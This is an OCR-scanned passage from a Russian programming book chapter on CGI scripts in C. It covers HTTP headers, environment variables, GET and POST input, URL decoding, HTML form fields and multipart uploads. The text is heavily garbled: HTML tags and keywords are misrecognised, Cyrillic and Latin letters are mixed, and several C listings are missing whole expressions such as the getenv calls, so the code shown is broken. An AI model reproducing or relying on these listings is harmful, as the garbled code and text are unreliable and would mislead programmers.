// в Num записывается случайное число от 0 до 9

Num = rand ()%10;

// далее выводим заголовки ответа. Тип — html-документ

printf("Content-type: text/html\n");

// запрет кэширования

printf("Pragma: no-cache\n") ;

// пустой заголовок

printf("\n");

// выводим текст документа — его мы увидим в браузере

printf;

printf ("<Ь1>Здравствуйте!</hl>" ;

printf("Случайное число в диапазоне 0-9: %d",Num);

printf ("</bodyx/html>") ;

)

Исходный текст можно откомпилировать и поместить в каталог с CGI- сценариями на сервере. Обычно стараются все сценарии хранить в одном месте — в каталоге cgi-bin, у которого имеется разрешение на выполнение всех файлов внутри него. Правда, это правило не является обязательным - конечно же, можно разместить файлы сценария где душе угодно (не забыв проставить соответствующие права на каталог в настройках сервера). На мой взгляд, логично хранить файлы сценариев там, где это наиболее вам удобно, а не пользоваться общепринятыми штампами. Теперь наберем в адресной строке браузера:

http://www.myhost.com/cgi-bin/script.cgi

Мы получим нашу HTML-страницу. Заметьте, что при нажатии Reload (а также при повторном посещении страницы) браузер перезагрузит страницу целиком, а не возьмет ее копию из своего кэша (это можно видеть по постоянно изменяющемуся случайному числу или по лампочкам модема). Мы добились такого результата благодаря заголовку

Pragma: no-cache

Давайте теперь посмотрим, что нужно изменить в нашем сценарии, чтобы его вывод представлял из себя с точки зрения браузера не HTML-документ, а рисунок. Пусть нам нужен сценарий, который бы передавал пользователю какой-то GIF-рисунок (например, выбираемый случайным образом из некоторого списка). Делается это абсолютно аналогично: выводим заголовок Content-type: iniage/gif

Затем копируем один-в-один нужный нам GIF-файл в стандартный поток вывода (лучше всего — функцией fwrite, т. к. иначе могут возникнуть проблемы с "бинарностью GIF-рисунка). Теперь можно использовать этот сценарий даже в таком контексте:

какой-то текст страницы

<img src=http://www.myhost.com/cgi-bin/script.cgi> продолжение страницы

В результате таких действий в нашу страницу будет подставляться каждый раз случайное изображение, генерируемое сценарием. Разумеется, чтобы избежать неприятностей с кэшированием, которое особенно интенсивно применяется браузерами по отношению к картинкам, мы должны его запретить выводом соответствующего заголовка. Именно так устроены графические счетчики, столь распространенные в Интернете.

Еще раз обращаю ваше внимание на такой момент: CGI-сценарии могут использоваться не только для вывода HTML-информации, но и для любого другого ее типа — начиная с графики и заканчивая звуковыми MIDI-файлами. Тип документа задается в единственном месте — заголовке content-type. He забы-

вайте добавлять этот заголовок, в противном случае пользователю будет отображена стандартная страница сервера с сообщением о 500-й ошибке (для сервера Apache), из которой он вряд ли что поймет.

Передача информации

CGI-сценарию

Проблема приема параметров, заданных пользователем (с точки зрения сценария — все равно, через форму или вручную), несколько сложнее. Мы уже частично затрагивали ее и знаем, что основная информация приходит через заголовки, а также (при использовании метода POST) после всех заголовков. Рассмотрим эти вопросы подробнее.

Переменные окружения

Непосредственно перед запуском сценария сервер передает ему некие переменные окружения с информацией. В определенных переменных содержатся некоторые заголовки, но, как уже говорилось, не все (получить все заголовки нельзя). Вот список наиболее важных переменных окружения (большинство из них мы уже рассматривали, но сейчас будет полезно повториться и систематизировать весь наш список именно с точки зрения программиста):

HTTP-ACCEPT

В этой переменной перечислены все (во всяком случае, так говорится в документации) MIME-типы данных, которые могут быть восприняты браузером. Как мы уже замечали, современные браузеры частенько ленятся и передают строку */*, что означает, что они якобы понимают любой тип.

HTTP_REFERER

Задает имя документа, в котором находится форма, запустившая CGI- сценарий. Эту переменную окружения можно задействовать, например, для того, чтобы отслеживать перемещение пользователя по вашему сайту (а потом, например, где-нибудь распечатывать статистику самых популярных маршрутов).

HTTP_USER_AGENT

Идентифицирует браузер пользователя. Если в данной переменной окружения присутствует подстрока MSIE, то это — Internet Explorer, в противном случае, если в наличии лишь слово Mozilla, — Netscape.

HTTP-HOST

Доменное имя Web-сервера, на котором запустился сценарий. Точнее то, что было передано в заголовке Host протокола HTTP 1.1. Эту переменную окружения довольно удобно использовать, например, для генерации полного пути, который требуется в заголовке Location, чтобы не привязываться к конкретному серверу (вообще говоря, чем меньше сценарий задействует "зашитую" в него информацию об имени сервера, на котором он запущен, тем лучше — в идеале ее не должно быть вовсе).

SERVER_PORT

Порт сервера (обычно 80), к которому обратился браузер пользователя. Также может привлекаться для генерации параметра заголовка Location.

REMOTE_ADDR

Эта переменная окружения задает IP-адрес (или доменное имя) узла пользователя, на котором был запущен браузер.

REMOTE_PORT

Порт, который закрепляется за браузером пользователя для получения ответа сервера.

SCRIPT-NAME

Виртуальное имя выполняющегося сценария (то есть часть URL после имени сервера, но до символа ?). Эту переменную окружения, опять же, очень удобно брать на вооружение при формировании заголовка Location при переадресации на себя (self-redirect), а также при проставлении значения атрибута action тэга <form> на странице, которую выдает сценарий при запуске без параметров (для того чтобы не привязываться к конкретному имени сценария).

REQUEST-METHOD

Метод, который применяет пользователь при передаче данных (мы рассматриваем только GET и POST, хотя существуют и другие методы). Надо заметить, что грамотно составленный сценарий должен сам определять на основе этой переменной, какой метод задействует пользователь, и принимать данные из соответствующего источника, а не рассчитывать, что передача будет осуществляться, например, только методом POST. Впрочем, все РНР- сценарии так и устроены.

QUERY_STRING

Параметры, которые в URL указаны после вопросительного знака. Напомню, что они доступны как при методе GET, так и при методе POST (если в последнем случае они были определены в атрибуте action тэга <form>).

CONTENT_LENGTH

Количество байтов данных, присланных пользователем. Эту переменную необходимо анализировать, если вы занимаетесь приемом и обработкой POST-формы.

Передача параметров методом GET

Тут все просто. Все параметры передаются единой строкой (а именно, точно такой же, какая была задана в URL после ?) в переменной QUERY_STRING. Единственная проблема — то, что все данные поступят URL-кодирован- ными. Так что нам понадобится функция декодирования. Но это отдельная тема, пока мы не будем ее касаться.

Для того чтобы узнать значения полученных переменных в Си, нужно воспользоваться функцией getenv (). Вот пример сценария на Си, который это обеспечивает.

Листинг 3.2. Работа с переменными окружения

#include <stdio.h> // Включаем функции ввода/вывода ftinclude <stdlib.h> // Включаем функцию getenv()

void main(void) {

// получаем значение переменной окружения REMOTE_ADDR char *RemoteAddr =

// и еще QUERY_STRING

char *Querystring =

// печатаем заголовок

printf("Content-type:text/html\n\n");

// печатаем документ

printf ( "<htmlxbody> ) ;

printf ("<Ы>Здравствуйте. Мы знаем о вас все!</hl>");

printf ("Ваш IP-адрес: %s<br>",RemoteAddr) ;

printf ("Вотпараметры, которые Вы указали: %s",Querystring) ;

printf ("</bodyX/html>");

Откомпилируем сценарий и поместим его в CGI-каталог. Теперь в адресной строке введем:

http://www.myhost.com/cgi-bin/script.cgi?a-l&b=2

Мы получим примерно такой документ:

Здравствуйте. Мы знаем о Вас все!

Ваш IP-адрес: 192.168.1.23

Вот параметры, которые Вы указали: а-1 &b—2

Передача параметров методом POST

В отличие от метода GET, здесь параметры передаются сценарию не через переменные окружения, а через стандартный поток ввода (в Си он называется stdin). To есть программа должна работать так, будто никакого сервера не существует, а она читает данные, которые вводит пользователь с клавиатуры. (Конечно, на самом деле никакой клавиатуры нет и быть не может, а заправляет всем сервер, который "изображает из себя" клавиатуру.)

Внимание ;

Следует заметить очень важную деталь: то, что был использован метод POST, вовсе не означает, что не был применен также и метод GET. Иными словами, метод POST подразумевает также возможность передачи данных через URL- строку. Эти данные будут, как обычно, помещены в переменную окружения QUERY__STRING.

Но как же узнать, сколько именно данных переслал пользователь методом POST? До каких пор нам читать входной поток? Для этого служит переменная окружения CONTENT_LENGTH, в которой хранится строка с десятичным представлением числа переданных байтов данных (разумеется, перед использованием ее надо перевести в обычное число).

Модифицируем предыдущий пример так, чтобы он принимал POST-данные, а также выводил и GET-информацию, если она задана:

| Листинг 3.3. Получение данных POST

^include <stdio.h>

#include <stdlib.h>

void main(void) {

// извлекаем значения переменных окружения

char *RemoteAddr =

char *ContentLength =

char *QueryString = getenv("QUERY_STRING") ;

// вычисляем длину данных — переводим строку в число int NumBytes =

// выделяем в свободной памяти буфер нужного размера char *Data = (char *)malloc(NumBytes + 1);

3 Зак. 699

читаем данные из стандартного потока ввода fread(Data,

// добавляем нулевой код в конец строки

// (в Си нулевой код сигнализирует о конце строки) = 0;

// выводим заголовок

printf ( "Content-type: text/html\n\n") ;

// выводим документ

printf

printfМызнаемовасвсе!

IP-адрес:

байтов данных:

параметры, которые Вы указали: вот то, что мы получили через URL: Querystring);

printf ("</bodyx/html>");

этот сценарий и запишем то, что получилось, под именем в каталог, видимый извне как /cgi-bin/. Откроем в браузере

следующий HTML-файл с формой:

| Листинг 3.4.

<htmlxbody>

<f3rm action=/cgi-bin/script.cgi?param=value method=post>

Namel: cinput type=text name="namel"xbr> Name2: <input type=text name="name2"Xbr> <input type=submit уа1ие="3апустить сценарий!">

</form>

</bodyX/html>

Теперь, если набрать в полях ввода какой-нибудь текст и нажать кнопку, получим HTML-страницу, сгенерированную сценарием, например, следую- щегосодержания:

Мы знаем о вас

Ваш IP-адрес: 136.234.54.2

Количество байтов данных: 23

Вот параметры, которые Вы указали:

А вот то, что мы получили через URL:

Как можно заметить, обработка метода POST устроена сложнее, чем GET. Тем не менее, метод POST используется чаще, особенно если нужно передавать большие объемы данных или "закачивать" файл на сервер (эта возможность также поддерживается протоколом HTTP и HTML).

Расшифровка URL-кодированных данных

Если бы в предыдущем примере мы ввели параметры, содержащие, например, буквы кириллицы, то сценарию они бы поступили не в "нормальном" виде, а в URL-закодированном. Пожалуй, ни один сценарий не обходится без функции расшифровки URL-кодированных данных. И это совсем не удивительно. Радует только то, что такую функцию нужно написать один раз, а дальше можно пользоваться ей по мере необходимости.

Как уже упоминалось, кодирование заключается в том, что некоторые неалфавитно-цифровые символы (в том числе и "русские" буквы, которые тоже считаются неалфавитными) преобразуются в форму %хх, где хх — код символа в шестнадцатеричной системе счисления. Далее представлена функция на Си, которая умеет декодировать подобные данные и приводить их к нормальному представлению.

( Замечание )

Мы не можем сначала все данные (например, полученные из стандартного потока ввода) декодировать, а уж потом работать с ними (в частности, разбивать по месту вхождения символов & и =). Действительно, вдруг после перекодировки появятся символы & и =, которые могут быть введены пользователем? Как мы тогда узнаем, разделяют ли они параметры или просто набраны с клавиатуры? Очевидно, никак. Поэтому такой способ нам не подходит, и придется работать с каждым значением отдельно, уже после разделения строки на части.

Итак, приходим к следующему алгоритму: сначала разбиваем строку параметров на блоки (параметр=значение), затем из каждого блока выделяем имя параметра и его значение (обособленные символом =), а уж потом для них вызываем функцию перекодировки, приведенную ниже:

Листинг3.5.ФункцияURL-декодирования

// Функция преобразует строку данных st в нормальное представление.

// Результат помещается в ту же строку, что была передана в параметрах. void UrlDecode (char *st) {

char *p=st; // указывает на текущий символ строки

char hex[3]; // временный буфер для хранения %ХХ int code;// преобразованный код

// запускаем цикл, пока не кончится строка (то есть, пока не

// появится символ с кодом 0, см. ниже)

do {

// Если это %-код ...

if(*st =={ // тогда копируем его во временный буфер

hex[0]=*(++st); hex[1]=*(++st); hex[2]=0;

// переводим его в число

sscanf(hex,"%X”,&code);

// и записываем обратно в строку

*p++=(char)code;

// указатель р всегда отмечает то место в строке, в которое

// будет помещен очередной декодированный символ

// иначе, если это ”+", то заменяем его на

else if(*st==' + ' ) *p++=' ' ;

// а если не то, ни другое — оставляем как есть

else *p++=*st;

} while(*st++!=0); // пока не найдем нулевой код }

Функция основана на том свойстве, что длина декодированных данных всегда меньше, чем кодированных, а значит, всегда можно поместить результат в ту же строку, не опасаясь ее переполнения. Конечно, примененный алгоритм далеко не оптимален, т. к. использует довольно медлительную функцию sscanf () для перекодирования каждого символа. Тем не менее, это самое простое, что можно придумать, вот почему я так и сделал.

Итак, теперь мы можем слегка модифицировать предыдущий пример сценария, заставив его перед выводом данных декодировать их. Попробуем написать это так:

| Листинг 3.6. ПолучениеPOST-данных с URL-декодированием

#include <stdio.h>

^include <stdlib.h>

void main(void) {

// получаем значения переменных окружения

char *RemoteAddr =

char *ContentLength =

// выделяем память для буфера QUERY_STRING

char *QueryString =(strlen (getenv ("QUERY_STRING") ) + 1) ;

// копируем QUERY_STRING в созданный буфер

strcpy (Querystring, getenv( "QUERY_STRING") ) ;

// декодируем QUERY_STRING

UrlDecode(Querystring);

// вычисляем количество байтов данных — переводим строку в число int NumBytes =

// выделяем в свободной памяти буфер нужного размера

char *Data =+ 1)

// читаем данные из стандартного потока ввода

fread(Data, 1 / NumBytes, stdin) ;

// добавляем нулевой код в конец строки

// (в Си нулевой код сигнализирует о конце строки)

Data [NumBytes] = С;

// декодируемданные(хотьэтоинесовсемосмысленно,новыполняем

// сразу для всех РОЗТ-данных, не разбивая их на параметры) UrlDecode (Data) ;

// выводим заголовок

printf ("Content-type: text/html\n\n") ;

// выводим документ

printf (" chtml > <body> ");

printf ("<Ь1>Здравствуйте. Мы знаем о Вас все!</Ы>") ;

printf ("ВашIP-адрес: %s<br>",RemoteAddr) ;

printf ( "Количество байтов данных: %d<br>", NumBytes);

printf ("Вотпараметры, которые Вы указали: %s<br>", Data) ",

printf ("A вот то, что мы получили через URL: % s " ,

Querystring);

printf ("</body></html>");

1

Обратите внимание на строки, выделенные жирным шрифтом. Теперь мы используем промежуточный буфер для хранения QUERY_STRING. Зачем? Попробуем поставить все на место, т. е. не задействовать промежуточный буфер, а работать с переменной окружения напрямую, как это было в листинге 3.5. Тогда в одних операционных системах этот код будет работать прекрасно, а в других — генерировать ошибку общей защиты, что приведет к немедленному завершению работы сценария. В чем же дело? Очень просто: переменная QueryString ссылается на значение переменной окружения QUERY_STRING, которая расположена в системной области памяти, а значит, доступна только для чтения. В то же время функция urlDecode о , как я уже

замечал, помешает результат своей работы в ту же область памяти, где находится ее параметр, что и вызывает ошибку.

Чтобы избавиться от указанного недостатка, мы и копируем значение переменной окружения QUERY_STRING в область памяти, доступной сценарию для записи — например, в какой-нибудь буфер, а потом уже преобразовываем его. Что и было сделано в последнем сценарии.

Несколько однообразно и запутанно, не так ли? Да, пожалуй. Но, как говорится, "это даже хорошо, что пока нам плохо" — тем больше будет причин предпочитать РНР другим языкам программирования (так как в РНР эти проблемы изжиты как класс).

Формы

До сих пор из всех полей формы мы рассматривали только текстовые поля и кнопки отправки (типа submit). Давайте теперь поглядим, в каком виде приходят данные и от других элементов формы (а их существует довольно много).

Все элементы формы по именам соответствующих им тэгов делятся на 3 категории:

О <input. . . >

□ <textarea...>...</textarea>

О <select. . . Xoption. . .>. . .</option>. . .</select>

Каждый из этих тэгов, конечно, может иметь имя. Ранее уже упоминалось, что пары имя=значение перед тем, как отправятся сценарию, будут разделены в строке параметров символом &. Кроме того, следует учитывать, что для тех компонентов формы, у тэгов которых не задан параметр name, соответствующая строка имя=значение передана не будет. Это ограничение введено для того, чтобы можно было в форме определять служебные элементы, которые не будут посылаться сценарию. Например, в их число входят кнопки (подтверждения отправки или обычные, используемые при программировании на JavaScript) и т. д. Так, создадим форму:

<form action-script.cgi> какие-то поля

<input type=submit value="Go! ">

</form>

Несмотря на то, что кнопка Go! формально является полем ввода, ее данные не будут переданы сценарию, поскольку у нее отсутствует параметр name.

Чаще все же бывает удобно давать имена таким кнопкам. Например, для того, чтобы определить, каким образом был запущен сценарий — путем на-

жатия на кнопку или как-то еще (например, просто набором его URL в

браузере). Создадим следующую форму:

<form action=script. cgi>

cinput type=submit name=" submit" value="Go!">

</form>

После запуска такой формы и нажатия в ней кнопки Go! сценарию среди прочих параметров будет передана строка submit=Go!. Вернувшись к примеру из предыдущей главы, мы теперь легко сможем определить, был ли сценарий выполнен из формы или же простым указанием его URL (для этого достаточно проанализировать командную строку сценария и определить, присутствует ли в ней атрибут submit).

В принципе, все тэги, за исключением <select>, с точки зрения сценария выглядят одинаково — как один они генерируют строки вида имя=значение, где имя — то, что задано в атрибуте name, а значение — либо текст, введенный пользователем, либо содержимое атрибута value (например, так происходит у независимых и зависимых переключателей, которые мы вскоре рассмотрим).

Тэг <input> — различные поля ввода

Существует много разновидностей этого тэга, отличающихся параметром type. Перечислю наиболее употребительные из них. В квадратных скобках я буду указывать необязательные параметры, а также параметры, отсутствие которых иногда имеет смысл (будем считать, что параметр name является обязательным, хотя это и не так в силу вышеизложенных рассуждений). Ни в коем случае не набирайте эти квадратные скобки!

Для удобства я расположу каждый параметр тэга на отдельной строке. И хотя стандарт HTML это не запрещает, настоятельно рекомендую вам стараться в своих формах избегать такого синтаксиса. Не разбивайте тэги форм на несколько строк, это значительно снижает читабельность кода страницы.

Текстовое поле (text)

<input type=text

пате=имя

[уа1ие=значение]

[з1ге=размер]

[тах1еп=число]

Создает поле ввода текста размером примерно в size знакомест и максимально допустимой длиной maxlen символов (то есть пользователь сможет ввести в нем не больше этого количества символов).

Внимание

Не советую, тем не менее, в программе на Си полагаться, что придет не больше maxlen символов и выделять для их получения буфер фиксированного размера. Дело в том, что злоумышленник вполне может запустить ваш сценарий в обход стандартной формы (содержащей "правильный" тэг <input>) и задать большой объем данных, чтобы этот буфер переполнить — известный прием взлома недобросовестно написанных программ.

Если задано значение атрибута value, то в текстовом поле будет изначально отображена указанная строка.

Поле ввода пароля (password}

<input type=password

пате=имя

[value=3Ha4eHwe]

[size=pa3Mep] [тах!еп=число]

>

Полностью аналогичен тэгу <input type=text>, за исключением того, что символы, набираемые пользователем, не будут отображаться на экране. Это удобно, если нужно запросить какой-то пароль. Кстати, если в качестве маски задается значение параметра value, все будет в порядке, однако, посмотрев исходный HTML-текст страницы в браузере, можно увидеть, что он (браузер) это значение не показывает (непосредственно на странице). Сделано это, видимо, из соображений безопасности, хотя, конечно же, злоумышленник легко преодолеет такую защиту, если вы попытаетесь скрыть с ее помощью что-то важное.

Скрытое текстовое поле (hidden)

<input type=hidden

пате=имя

value=3Ha46HMe

>

Создает неотображаемое (скрытое) поле. Такой объект нужен исключительно для того, чтобы передать сценарию какую-то служебную информацию, до которой пользователю нет дела, — например, параметры настройки.

Пусть, например, у нас имеется многоцелевой CGI-сценарий, который умеет принимать данные пользователя и отправлять их как почтовое сообщение. Поскольку мы бы не хотели фиксировать E-mail получателя жестко, но в то же время и не стремимся, чтобы пользователь мог его менять перед отправкой формы, оформим соответствующий тэг в виде скрытого поля:

<fom action=/cgi/sendmail.cgi method=post>

<input type=hidden naix=email value="admin@microsoft. com. ">

<Ь2>Пошлите сообщение администратору: </h2>

<input type=text name="text">

<input type=submit name=doSend уа1ие="Отослать">

</form>

Я подразумеваю, что сценарий анализирует свои входные параметры и посылает текст из параметра text по адресу email. А вот еше один пример использования этого сценария, но уже без скрытого поля. Сравните:

<form action=/cgi/sendmail. cgi method=post>

<Ь2>Пошлите сообщение другу:</h2>

Его E-mail: <input type=text name=emailxbr>

Текст: <input type=text name="text"xbr>

<input type=submit name=doSend да1ие="0тослать">

</form>

Итак, мы задействовали один и тот же сценарий для нескольких разных целей. Еще раз напоминаю, что для сценария безразлично, получает он данные из обычного текстового или же из скрытого поля — в любом случае данные выглядят одинаково.

Часто скрытое поле используют для индикации того, что сценарий запущен в результате нажатия кнопки в форме, а не простым набором его URL в строке адреса браузера. Тем не менее, это, как уже говорилось, довольно плохой способ — лучше применять именованные кнопки submit.

(Замечание_1

В некоторых случаях именованные кнопки submit не помогают, и приходится пользоваться скрытым полем для индикации запуска сценария из формы. Происходит это в случае, если форма очень проста и состоит, например, всего из двух элементов — поля ввода текста и кнопки submit (пусть даже и именованной). Практически все браузеры в такой ситуации позволяют пользователю просто нажать <Enter> для отправки формы, а не возиться с нажатием на submit-кнопку. При этом разумеется, данные кнопки не посылаются на сервер. Вот тогда-то нас и выручит hidden-поле, например, с именем submit: если его значение установлено, то сценарий понимает, что пользователь ввел какие-то данные, в противном случае сценарий был запущен впервые путем набора его URL или перехода по гиперссылке.

Независимый переключатель (checkbox)

<input type=checkbox

пате=имя

va1ие=значение

[checked]

Этот тэг генерирует независимый переключатель (или флажок), который может быть либо установлен, либо сброшен (квадратик с галочкой внутри или пустой соответственно). Если пользователь установил этот элемент, прежде чем нажать кнопку доставки, сценарию поступит строка имя=значение, в противном случае не придет ничего, будто нашего поля и не существует вовсе. Если задан атрибут checked, то переключатель будет изначально установленным, иначе — изначально сброшенным.

Зависимый переключатель (radio)

<input type=radio

пате=имя

va1ие=эначение г^^^сk^d'

Включение в форму этого тэга вызывает появление на ней зависимого переключателя (или радиокнопки). Зависимый переключатель — это элемент управления, который, подобно независимому переключателю, может находиться в одном из двух состояний. С тем отличием, что если флажки не связаны друг с другом, то только одна радиокнопка из группы может быть выбрана в текущий момент. Конечно, чаше всего определяются несколько групп радиокнопок, независимых друг от друга. Наша кнопка будет действовать сообща с другими, имеющими то же значение атрибута name — иными словами, то же имя. Отсюда вытекает, что, в отличие от всех других элементов формы, две радиокнопки довольно часто имеют одинаковые имена. Если пользователь установит какую-то кнопку, сценарию будет передана строка имя=значение, причем значение будет тем, которое указано в атрибуте value выбранной кнопки (а все остальные переключатели проигнорируют- ся, как будто неустановленные флажки). Если указан параметр checked, кнопка будет изначально выбрана, в противном случае — нет.

£ Примечание

Чувствую, вас уже мучает вопрос: почему эта штука называется радиокнопкой? При чем тут радио, спрашиваете? Все очень просто. Дело в том, что на старых радиоприемниках (как и на магнитофонах) была группа клавиш, одна из которых могла "залипать", освобождая при этом другую клавишу из группы. Например, если радио могло ловить 3 станции, то у него было 3 клавиши, и в конкретный момент времени только одна из них могла быть нажата (попробуйте слушать сразу несколько станций!). Согласен, что терминология очень спорна), но история есть история...

Кнопка отправки формы (submit)

<input type^submit

[пате=имя]

value=TeKCT кнопки

Создает кнопку подтверждения с именем name (если этот атрибут указан) и названием (текстом, выводимым поверх кнопки), присвоенным атрибуту value. Как уже говорилось, если задан параметр name, после нажатия кнопки отправки сценарию вместе с другими парами будет передана и. пара имя=текст_кнопки (если нажата не эта кнопка, а другая, будет передана строка другой, нажатой, кнопки). Это особенно удобно, когда в форме должно быть несколько кнопок submit, определяющих различные действия (например, кнопки Сохранить и Удалить в сценарии работы с записью какой-то базы данных) — в таком случае чрезвычайно легко установить, какая же кнопка была нажата, и предпринять нужные действия.

Кнопка сброса формы (reset)

<input type^reset уа1ие=текст кнопки

Пожалуй, это самый простой элемент формы. Тэг создает кнопку, при нажатии на которую все элементы формы в браузере будут сброшены (точнее, установлены в то состояние, которое было задано в их атрибутах по умолчанию). Причем отправка формы не производится, т. е. для сценария кнопка reset незаметна.

Рисунок для отправки формы (image)

<input type=image

[пате=имя]

згс=изображение

Создает рисунок, при щелчке на котором кнопкой мыши будет происходить то же, что и при нажатии на кнопку submit, за тем исключением, что сценарию также будут пересланы координаты в пикселах того места, где произведен щелчок (отсчитываемые от левого верхнего угла рисунка). Придут они в форме: имя.х=Х&имя.y-Y, где (х, Y) — координаты точки. Если же атрибут name не задан, то координаты поступят в формате: x=X&y=Y.

Тэг <textarea> — многострочное поле ввода текста

Теперь посмотрим, что же из себя представляет тэг <textarea>. Смысл у него тот же, что и у <input type=text>, разве что может быть отправлена не одна строка текста, а сразу несколько. Формат тэга следующий:

<textarea

пате=имя

[width=iiiMpMHa] [height=BucoTa]

[мгар=тип]

>Текст, который будет изначально отображен в текстовом пoлe</textarea>

Как легко видеть, этот тэг имеет закрывающий парный. Параметр width задает ширину поля ввода в символах, a height — его высоту. Параметр wrap определяет, как будет выглядеть текст в поле ввода. Он может иметь одно из трех значений (по умолчанию подразумевается попе).

virtual — наиболее удобный тип вывода. Справа от текстового поля выводится полоса прокрутки, и текст, который набирает пользователь, внешне выглядит разбитым на строки в соответствии с шириной поля ввода, причем перенос осуществляется по словам. Однако символ новой строки вставляется в текст только при нажатии <Enter>.

CD Physical — зависит от реализации браузера, обычно очень похож на попе.

None — текст отображается в том виде, в котором заносится. Если он не умещается в текстовое поле, активизируются линейки прокрутки (в том числе, и горизонтальная).

После отправки формы текст, который ввел пользователь, будет, как обычно, представлен парой имя=текст, аналогично тэгу однострочного поля ввода <input type=text>.

Тэг <select> — список

У нас остался последний тэг — <select>. Он представляет собой выпадающий (или раскрытый) список. Одновременно могут быть выбрана одна или несколько строк. Формат этого тэга следующий:

<select паше=имя [size=pa3Mep] [multiple]>

<option [уа1ие1=значение1] [selected] >СтрокаК/ор11оп>

<option [уа1ие2=значение2] [selected]>CTpoKa2</option>

<option [уа1иеИ=значениеМ][selected]>CTpoKaN</option>

</select>

Мы видим, что и этот тэг имеет парный закрывающий. Кроме того, его существование немыслимо без тэгов <option>, которые и определяют содержимое списка.

Параметр size задает, сколько строк будет занимать список. Если size равен 1, то список будет выпадающим, в противном случае — занимает size строк и имеет полосы прокрутки. Если указан атрибут multiple, то будет разрешено выбирать сразу несколько элементов из списка, а иначе — только один. Кроме того, атрибут multiple не имеет смысла для выпадающего списка.

Каждая строка списка определяется своим тэгом <option>. Если в нем задан атрибут value, как это часто бывает, то соответствующая строка списка будет идентифицироваться его значением, а если не задан, то самим текстом этой строки (считается, что value равно самой строке). Кроме того, если указан параметр selected, то данная строка будет изначально выбранной. Кстати, чуть не забыл: закрывающие тэги </option> можно опускать, если упрощение не создает конфликтов с синтаксисом HTML (в действительности это можно делать почти всегда).

Давайте теперь посмотрим, в какой форме пересылаются данные списка сценарию. Ну, со списком одиночного выбора вроде бы ясно — просто передается пара имя=значение, Где имя — ИМЯ тэга <select>, а значение — идентификатор выбранного элемента (то есть, либо атрибут value, либо сама строка элемента списка).

Списки множественного выбора (multiple)

В какой форме приходят данные сценарию, если был создан multiple- список? Очень просто: все произойдет так, будто есть не один, а несколько не-multiple-cn исков, все с одинаковым именем, и в каждом из которых выбрано по одному элементу. Иными словами, строка параметров, порожденная этим тэгом, будет выглядеть примерно так:

имя=значение1&имя=значение2&...&имя=значениеМ

Кстати говоря, совершенно не уникальный случай — то, что с одним именем связано сразу несколько значений. Действительно, нам никто не мешает создавать и другие тэги с идентичными именами. Это часто делается, например, для переключателей-флажков:

<input type=checkbox пате=имя ^1ие="0дин">0дин<Ьг>

<input type=checkbox пате=имя да1ие="Двап>Два<Ьг>

<input type=checkbox пате=имя value="Tpn">Tpn<br>

Если теперь пользователь установит сразу все флажки, то сценарию поступит строка (конечно, в URL-кодированном виде):

имя=Один&имя=Два&имя=Три

Из всего сказанного следует не очень утешительный вывод: при разборе строки параметров в сценарии мы не можем полагаться на то, что каждой переменной соответствует только одно значение. Нам придется учитывать, что их может быть не "один", а "много". А это очень неприятно с точки зрения программирования — особенно на Си.

Попутно мы обнаружили, что любой multiple-список может быть представлен набором флажков (независимых переключателей), а любой не-miltiple - в виде нескольких радиокнопок. Так что, вообще говоря, тэг <select> — некоторое функциональное излишество, и с точки зрения сценария вполне может заменяться флажками и радиокнопками.

Загрузка файлов

( Замечание )

Данный раздел главы предназначен скорее для ознакомления, нежели для применения в качестве точной инструкции по загрузке файлов. Он прекрасно демонстрирует, почему нам так удобно использовать РНР для программирования в Web. Организацию загрузки файлов в РНР мы подробно разберем в части V.

Иногда бывает просто необходимо позволить пользователю не только заполнить текстовые поля формы и установить соответствующие переключатели, но также и указать несколько файлов, которые будут впоследствии загружены с компьютера пользователя на сервер. Для этого в языке HTML предусмотрены специальные средства. Рассмотрим их подробнее.

Формат данных

В свое время я говорил, что все данные из формы при передаче их на сервер упаковываются в строку при помощи символов ?, & и =. Легко видеть, что при загрузке файлов такой способ, хотя и приемлем, но будет существенно увеличивать размер передаваемой информации. Действительно, ведь большинство файлов — бинарные, а мы знаем, что при URL-кодировании данные таких файлов сильно "распухают" - - примерно в три раза (например, простой нулевой байт при URL-кодировании превратится в %оо). Это сильно замедлит передачу и увеличит нагрузку на канал. И вот, отчасти специально для решения указанной проблемы был изобретен другой формат передачи данных, отличный от того, который мы до сих пор рассматривали. В нем уже не используются пресловутые символы ? и &. Кроме того, похоже, в случае применения такого формата передачи может быть задействован только метод POST, но не метод GET. Нас это вполне устроит — ведь файлы обычно большие, и доставлять их через GET вряд ли разумно...

Если нужно указать браузеру, что в какой-то форме следует применять другой формат передачи, следует в соответствующем тэге <form> задать атрибут enctype=multipart/form-data. (Кстати говоря, если этот атрибут не указан, то форма считается обычной, что эквивалентно enctype=application/x- www-form-urlencoded — именно так обозначается привычный нам формат передачи.) После этого данные, поступившие от нашей формы, будут выглядеть как несколько блоков информации (по одному на элемент формы). Каждый такой блок очень напоминает HTTP-формат "заголовки-данные", используемый при традиционном формате передачи. Выглядит блок примерно так (\n, как всегда, обозначает символ перевода строки):

Идентификатор_начала\п

Content-Disposition: form-data; пате="имя"\п

\n

значение\n

Например, пусть у нас есть форма:

Листинг 3.7. Multipart-форма

<form action=... enctype=multipart/form-data method=post>

Name: <input type=text name="Name" value="Moe имя"><Ьг> Box: <input type=checkbox name="Box" value=l checkedxbr>

Area: <input type=textarea name="Area">3ro какой-то TeKCT</textarea><br> <input type=submit> </form>

Данные, поступившие по нажатии кнопки submit на сервер, будут иметь следующий вид: 127462537625367\n Content-Disposition: form-data; name="Name"\n \n Мое имя\п 1274 62537625367\n Content-Disposition: form-data; name="Box"\n \n l\n —127462537625367\n

Content-Disposition: form-data; name="Area"\n \n Это какой-то текст\п

Заметьте, что несколько дефисов и число (которое мы ранее назвали Идеитификатор-Начала) предшествуют каждому блоку. Более того, строка из дефисов и этого числа служит своеобразным маркером, который разделяет блоки. Очевидно, эта строка должна быть уникальной во всех данных. Именно так ее и формирует браузер. Правда, сказанное означает, что сегодня идентификатор будет одним, а завтра, возможно, совсем другим. Так что нам придется, прежде чем анализировать данные, считать этот идентификатор в буфер (им будет последовательность символов до первого символа \п).

Внимание

Стандарт протокола HTTP говорит нам, что идентификатор начала также должен быть доступен через одну из переменных окружения. Но я не помню и не

хочу знать ее название — сейчас объясню, почему. Некоторые браузеры (особенно старые) путают этот идентификатор и присылают его неправильно — с двумя предшествующими минусами (а остальные — без них), так что сценарии, не рассчитывающие на такой подвох, перестанут работать. Никогда не полагайтесь на эту переменную окружения (даже если узнаете, как она называется)! Вместо этого читайте последовательность символов до первого перевода строки и воспринимайте именно ее как разделитель.

